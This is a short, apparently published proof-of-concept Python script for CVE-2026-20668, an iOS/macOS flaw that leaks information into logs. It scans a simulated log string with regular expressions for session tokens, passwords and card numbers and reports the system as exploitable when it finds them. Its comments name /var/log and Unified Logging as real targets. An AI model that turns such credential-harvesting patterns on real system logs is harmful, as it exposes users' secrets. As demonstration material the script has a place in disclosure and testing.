CVE-2026-20668 Apple iOS/macOS日志信息泄露漏洞

#!/usr/bin/env python3 """ Conceptual Proof of Concept (PoC) for CVE-2026-20668. This script simulates how a malicious application might search through system logs to find sensitive data that was not properly redacted. Note: On actual iOS/macOS environments, accessing logs requires specific entitlements and may be sandboxed. This is a logical demonstration. """ import re import subprocess def check_logs_for_secrets(): print("[*] Attempting to access system logs...") # Simulating reading a log file/stream that contains sensitive data # In a real exploitation scenario, this would be reading from /var/log or Unified Logging simulated_log_content = """ 2026-03-25 12:00:00 System[999]: User authentication successful. 2026-03-25 12:00:01 App[100]: Session Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.sensitive_payload 2026-03-25 12:00:02 App[100]: Fetching data for user_id: 12345 2026-03-25 12:00:03 System[999]: Error: Password 'SecretPass123' logged due to redaction failure. """ # Patterns to identify sensitive data patterns = { "Token": r"Token:\s*([\w\.-]+)", "Password": r"Password\s+'([^']+)'", "CreditCard": r"\b\d{4}[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b" } found_secrets = False for label, pattern in patterns.items(): matches = re.findall(pattern, simulated_log_content) if matches: print(f"[!] Found sensitive {label} in logs: {matches}") found_secrets = True if found_secrets: print("[+] CVE-2026-20668 Exploitable: Sensitive data leakage confirmed in logs.") else: print("[-] No sensitive data found. System may be patched or redaction is working.") if __name__ == "__main__": check_logs_for_secrets()